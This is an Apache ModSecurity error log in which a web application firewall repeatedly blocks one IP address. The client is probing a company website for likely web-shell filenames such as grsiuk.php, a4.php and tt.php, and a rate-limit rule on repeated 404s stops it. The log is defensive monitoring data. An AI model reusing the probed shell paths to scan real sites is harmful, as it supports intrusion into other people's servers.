[Wed Apr 15 19:02:10.662447 2026] [:error] [pid 30957:tid 31004] [client 51.120.68.159:17136] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9wMn5gwVEVXHfVSiprkwAAAE8"]
[Wed Apr 15 19:02:11.126073 2026] [:error] [pid 31053:tid 31057] [client 51.120.68.159:11289] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9wMxcEkLCmvF0fjDelNQAAAIE"]
[Wed Apr 15 19:02:11.558656 2026] [:error] [pid 30957:tid 31001] [client 51.120.68.159:27301] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9wM35gwVEVXHfVSiprlgAAAEw"]
[Wed Apr 15 19:02:11.843160 2026] [:error] [pid 30958:tid 31039] [client 51.120.68.159:29480] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9wM8eG3wSKTO7NWFGIugAAANc"]
[Wed Apr 15 19:02:12.383452 2026] [:error] [pid 30957:tid 30996] [client 51.120.68.159:20515] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9wNH5gwVEVXHfVSiprlwAAAEc"]
[Wed Apr 15 19:02:12.444694 2026] [:error] [pid 30956:tid 30973] [client 51.120.68.159:22498] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9wNEBGUpjaWntNYq1dlAAAAA0"]
[Wed Apr 15 19:02:13.159134 2026] [:error] [pid 30957:tid 31007] [client 51.120.68.159:33394] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9wNX5gwVEVXHfVSiprmAAAAFI"]
[Wed Apr 15 19:02:13.334703 2026] [:error] [pid 30958:tid 31036] [client 51.120.68.159:31564] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9wNceG3wSKTO7NWFGIvQAAANQ"]
[Wed Apr 15 19:02:14.254283 2026] [:error] [pid 30956:tid 30977] [client 51.120.68.159:20897] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9wNkBGUpjaWntNYq1dlgAAABE"]
[Wed Apr 15 19:02:14.482338 2026] [:error] [pid 30956:tid 30964] [client 51.120.68.159:20520] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9wNkBGUpjaWntNYq1dmAAAAAQ"]
[Wed Apr 15 19:02:15.158890 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:31590] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9wN3g-gnM2Ga0cGAD7wQAAAQs"]
[Wed Apr 15 19:02:15.589273 2026] [:error] [pid 30956:tid 30966] [client 51.120.68.159:19728] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9wN0BGUpjaWntNYq1dmwAAAAY"]
[Wed Apr 15 19:02:15.902434 2026] [:error] [pid 30956:tid 30960] [client 51.120.68.159:20116] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9wN0BGUpjaWntNYq1dnAAAAAA"]
[Wed Apr 15 19:02:16.239662 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:19771] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9wOHg-gnM2Ga0cGAD7wgAAARY"]
[Wed Apr 15 19:02:16.555231 2026] [:error] [pid 30956:tid 30961] [client 51.120.68.159:21256] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9wOEBGUpjaWntNYq1dngAAAAE"]
[Wed Apr 15 19:02:17.071013 2026] [:error] [pid 30956:tid 30963] [client 51.120.68.159:12829] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9wOUBGUpjaWntNYq1doAAAAAM"]
[Wed Apr 15 19:02:17.301820 2026] [:error] [pid 30956:tid 30984] [client 51.120.68.159:11324] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9wOUBGUpjaWntNYq1doQAAABg"]
[Wed Apr 15 19:02:17.734406 2026] [:error] [pid 30956:tid 30967] [client 51.120.68.159:16283] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9wOUBGUpjaWntNYq1dogAAAAc"]
[Wed Apr 15 19:02:17.877321 2026] [:error] [pid 30956:tid 30977] [client 51.120.68.159:29442] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9wOUBGUpjaWntNYq1dpAAAABE"]
[Wed Apr 15 19:02:18.350777 2026] [:error] [pid 30956:tid 30974] [client 51.120.68.159:17144] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9wOkBGUpjaWntNYq1dpwAAAA4"]
[Wed Apr 15 19:02:18.476555 2026] [:error] [pid 30957:tid 31004] [client 51.120.68.159:19725] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9wOn5gwVEVXHfVSiprmgAAAE8"]
[Wed Apr 15 19:02:18.870848 2026] [:error] [pid 30956:tid 30981] [client 51.120.68.159:14406] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9wOkBGUpjaWntNYq1dqQAAABU"]
[Wed Apr 15 19:02:19.094446 2026] [:error] [pid 30957:tid 30990] [client 51.120.68.159:12818] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9wO35gwVEVXHfVSiprnAAAAEE"]
[Wed Apr 15 19:02:19.673647 2026] [:error] [pid 30957:tid 30993] [client 51.120.68.159:20115] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9wO35gwVEVXHfVSiproAAAAEQ"]
[Wed Apr 15 19:02:19.716866 2026] [:error] [pid 30957:tid 31007] [client 51.120.68.159:17091] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9wO35gwVEVXHfVSiproQAAAFI"]
[Wed Apr 15 19:02:20.316519 2026] [:error] [pid 30957:tid 30994] [client 51.120.68.159:33803] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9wPH5gwVEVXHfVSiprogAAAEU"]
[Wed Apr 15 19:02:20.431433 2026] [:error] [pid 30957:tid 30997] [client 51.120.68.159:10512] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9wPH5gwVEVXHfVSiprpAAAAEg"]
[Wed Apr 15 19:02:20.964197 2026] [:error] [pid 31053:tid 31060] [client 51.120.68.159:21279] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9wPBcEkLCmvF0fjDelOwAAAIQ"]
[Wed Apr 15 19:02:21.061872 2026] [:error] [pid 30956:tid 30983] [client 51.120.68.159:47305] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9wPUBGUpjaWntNYq1drgAAABc"]
[Wed Apr 15 19:02:21.632099 2026] [:error] [pid 30957:tid 31013] [client 51.120.68.159:21657] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9wPX5gwVEVXHfVSiprpgAAAFg"]
[Wed Apr 15 19:02:21.681287 2026] [:error] [pid 30956:tid 30971] [client 51.120.68.159:42515] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9wPUBGUpjaWntNYq1drwAAAAs"]
[Wed Apr 15 19:02:22.324840 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:18483] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9wPhcEkLCmvF0fjDelPAAAAII"]
[Wed Apr 15 19:02:22.329487 2026] [:error] [pid 30957:tid 30995] [client 51.120.68.159:43584] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9wPn5gwVEVXHfVSiprpwAAAEY"]
[Wed Apr 15 19:02:22.994076 2026] [:error] [pid 30957:tid 30991] [client 51.120.68.159:10544] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9wPn5gwVEVXHfVSiprqAAAAEI"]
[Wed Apr 15 19:02:23.075186 2026] [:error] [pid 30957:tid 30989] [client 51.120.68.159:12495] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9wP35gwVEVXHfVSiprqQAAAEA"]
[Wed Apr 15 19:02:23.838063 2026] [:error] [pid 30956:tid 30961] [client 51.120.68.159:43595] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9wP0BGUpjaWntNYq1dsQAAAAE"]
[Wed Apr 15 19:02:23.872632 2026] [:error] [pid 30956:tid 30982] [client 51.120.68.159:7915] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9wP0BGUpjaWntNYq1dsgAAABY"]
[Wed Apr 15 19:02:24.554007 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:7913] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9wQBcEkLCmvF0fjDelPQAAAIA"]
[Wed Apr 15 19:02:24.565610 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:26161] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9wQBcEkLCmvF0fjDelPgAAAIw"]
[Wed Apr 15 19:02:25.151868 2026] [:error] [pid 30958:tid 31030] [client 51.120.68.159:47312] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9wQceG3wSKTO7NWFGIyQAAAM4"]
[Wed Apr 15 19:02:25.438993 2026] [:error] [pid 30958:tid 31036] [client 51.120.68.159:19275] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9wQceG3wSKTO7NWFGIygAAANQ"]
[Wed Apr 15 19:02:25.767398 2026] [:error] [pid 37370:tid 37381] [client 51.120.68.159:19276] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9wQXg-gnM2Ga0cGAD7xgAAAQk"]
[Wed Apr 15 19:02:26.180804 2026] [:error] [pid 30957:tid 30992] [client 51.120.68.159:18463] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9wQn5gwVEVXHfVSiprrAAAAEM"]
[Wed Apr 15 19:02:26.421055 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:7933] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9wQng-gnM2Ga0cGAD7xwAAARQ"]
[Wed Apr 15 19:02:26.943423 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:35133] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9wQng-gnM2Ga0cGAD7yAAAAQE"]
[Wed Apr 15 19:02:27.176942 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:42507] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9wQ3g-gnM2Ga0cGAD7ywAAAQg"]
[Wed Apr 15 19:02:27.661122 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:39577] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9wQ3g-gnM2Ga0cGAD70gAAAQ8"]
[Wed Apr 15 19:02:27.904287 2026] [:error] [pid 37370:tid 37389] [client 51.120.68.159:18456] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9wQ3g-gnM2Ga0cGAD70wAAARE"]
[Wed Apr 15 19:02:28.380947 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:47742] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9wRHg-gnM2Ga0cGAD71gAAAQQ"]
[Wed Apr 15 19:02:28.485081 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:47713] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9wRHg-gnM2Ga0cGAD72AAAARI"]
[Wed Apr 15 19:02:29.069192 2026] [:error] [pid 31053:tid 31076] [client 51.120.68.159:6767] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9wRRcEkLCmvF0fjDelQwAAAJQ"]
[Wed Apr 15 19:02:29.148980 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:57630] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9wRXg-gnM2Ga0cGAD73AAAAQg"]
[Wed Apr 15 19:02:29.889126 2026] [:error] [pid 30958:tid 31020] [client 51.120.68.159:7065] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9wRceG3wSKTO7NWFGIzgAAAMQ"]
[Wed Apr 15 19:02:29.917149 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:6771] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9wRXg-gnM2Ga0cGAD74wAAAQA"]
[Wed Apr 15 19:02:30.614713 2026] [:error] [pid 30958:tid 31039] [client 51.120.68.159:50692] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9wRseG3wSKTO7NWFGI0gAAANc"]
[Wed Apr 15 19:02:30.629383 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:17532] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad9wRhcEkLCmvF0fjDelRAAAAJc"]
